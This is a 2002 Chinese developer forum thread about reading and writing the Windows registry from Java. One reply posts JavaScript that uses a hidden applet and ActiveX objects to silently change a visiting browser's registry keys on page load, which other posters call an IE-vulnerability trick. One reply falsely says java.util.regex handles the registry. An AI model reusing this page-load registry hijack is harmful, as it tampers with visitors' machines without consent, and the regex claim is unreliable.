请问JAVA如何读写注册表

lthu 2002-03-20 10:31:03
请问JAVA如何读写注册表
...全文
56 12 打赏 收藏 举报
写回复
12 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
kicku 2002-03-25
java.util.regex 支持读写注册表??????
这是规则表达式啊,大牛人.....
  • 打赏
  • 举报
回复
kicku 2002-03-20
JavaScript又不是Java,在Java里内能用jni,反正注册表是只有windows才有的,用jni不会影响移植性的。
  • 打赏
  • 举报
回复
bj100 2002-03-20
不用理會com.ms.activeX.ActiveXComponent,好象是IE自帶的!
我在LAN下測試過,沒問題,不過是在IE5下,IE6不知道行不行,你可以測試一下!
  • 打赏
  • 举报
回复
lthu 2002-03-20
com.ms.activeX.ActiveXComponent从何而来
  • 打赏
  • 举报
回复
bj100 2002-03-20

簡單,用JavaScript就可以了!
研究以下代碼看看!

--------------------------------------------------------------------
<SCRIPT Language="JavaScript" type="text/javascript">
<!--

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
var Tit
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{


Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值

Tit = Shl.RegRead("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title"); //讀鍵值
document.write(Tit);

var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();

// -->
</SCRIPT>
------------------------------------------------------------
  • 打赏
  • 举报
回复
lthu 2002-03-20
怎么查询
  • 打赏
  • 举报
回复
以前我问过这个问题,看看以前的贴字。比较详细
  • 打赏
  • 举报
回复
ChDw 2002-03-20
使用JNI,调用C写的DLL
  • 打赏
  • 举报
回复
joyplay 2002-03-20
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
是微软vm的class,呵呵,微软的Java。
不是楼上哥们说的WindowHostScript,的确,用WHS实现比较简单,在html中用的话受到IE版本影响(漏洞)及安全级别影响,如果写成.vbs等就可以直接运行了。
建议用 java1.4的class。或者参考j++如何调用C的一个例子(倒霉,新版本的msdn都没有j++的内容了)。
  • 打赏
  • 举报
回复
rangq1 2002-03-20
java1.4中的java.util.regex 支持读写注册表
具体见:
http://www-900.ibm.com/developerWorks/java/j-merlin/index6.shtml
  • 打赏
  • 举报
回复
szayang 2002-03-20
已阅.
  • 打赏
  • 举报
回复
IMarksman 2002-03-20
bj100(火火火)使用的是wsh,也就是windows脚本宿主,脚本宿主低版本的情况下,确实可以实现这个功能,但是高版本就不行了,总感觉这种办法是利用了ie的漏洞,如果升级了ie或者操作系统打了补丁,这些代码就是垃圾!
建议采用jni,如果需要在Applet中实现,还需要签名!
  • 打赏
  • 举报
回复
相关推荐
发帖
Java SE
加入

6.2w+

社区成员

Java 2 Standard Edition
申请成为版主
帖子事件
创建了帖子
2002-03-20 10:31
社区公告
暂无公告